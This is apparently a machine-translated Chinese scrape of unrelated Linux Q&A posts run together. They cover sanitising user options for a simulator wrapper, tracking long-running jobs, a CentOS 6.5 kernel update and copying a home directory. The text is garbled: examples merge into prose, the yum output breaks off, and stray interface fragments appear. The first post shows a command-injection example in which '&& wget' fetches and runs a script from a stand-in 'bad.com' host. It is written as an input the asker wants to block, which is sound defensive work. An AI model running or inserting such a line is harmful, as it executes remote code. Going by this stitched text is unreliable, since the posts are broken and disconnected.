我有一个包装应用程序,我需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。实现这一目标的最佳方法是什么?
例如。
-a -bmysim --preset_opt -a -b但是,我不希望这种情况发生:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.shmysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh目前,我认为我可以简单地用单引号将每个用户提供的选项括起来'并去掉任何用户提供的单引号,这样最后一个示例中的命令就会变成无害的:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
注意:该mysim命令作为 docker/lxc 容器中的 shell 脚本的一部分执行。我正在运行 Ubuntu。
我从 10 多个不同的目录运行 10 多个不同的命令,我需要一个更好的过程来跟踪所有内容。
我进行了大量调试,而且经常需要并行处理多个问题。我有很多需要 30-240 分钟才能运行的脚本,例如:
我发现自己在问以下问题:
目前我在一个文本文件中记录了我在每个目录中所做的事情,并手动检查终端或日志文件以获取所有内容的运行状态。似乎应该有更好的方法。
我需要将我的 CentOS 6.5 内核更新为2.6.32-431. 跑步yum clean all && yum update不适合我。
如何更新?可能是什么问题?
[root@centos64 ~]# uname -r
2.6.32-358.18.1.el6.x86_64
[root@centos64 ~]# cat /etc/redhat-release
CentOS release 6.5 (Final)
[root@centos64 ~]# yum clean all && yum update
Loaded plugins: fastestmirror
Cleaning repos: base epel extras updates
Cleaning up Everything
Cleaning up list of fastest mirrors
Loaded plugins: fastestmirror
Determining fastest mirrors
epel/metalink | 8.1 kB 00:00
* base: centosz3.centos.org
* epel: fedora.mirror.nexicom.net
* extras: mirror.linux.duke.edu
* updates: centosb5.centos.org
base | 3.7 …Run Code Online (Sandbox Code Playgroud) 我需要复制我的主目录并将该副本放在同一个主目录中。命令的退出代码必须是0. 目前,我的主目录不包含任何其他目录。
有没有比以下更好的方法?(pwd 是主目录)
mkdir /tmp/temp && cp * /tmp/temp && mv /tmp/temp .
Run Code Online (Sandbox Code Playgroud)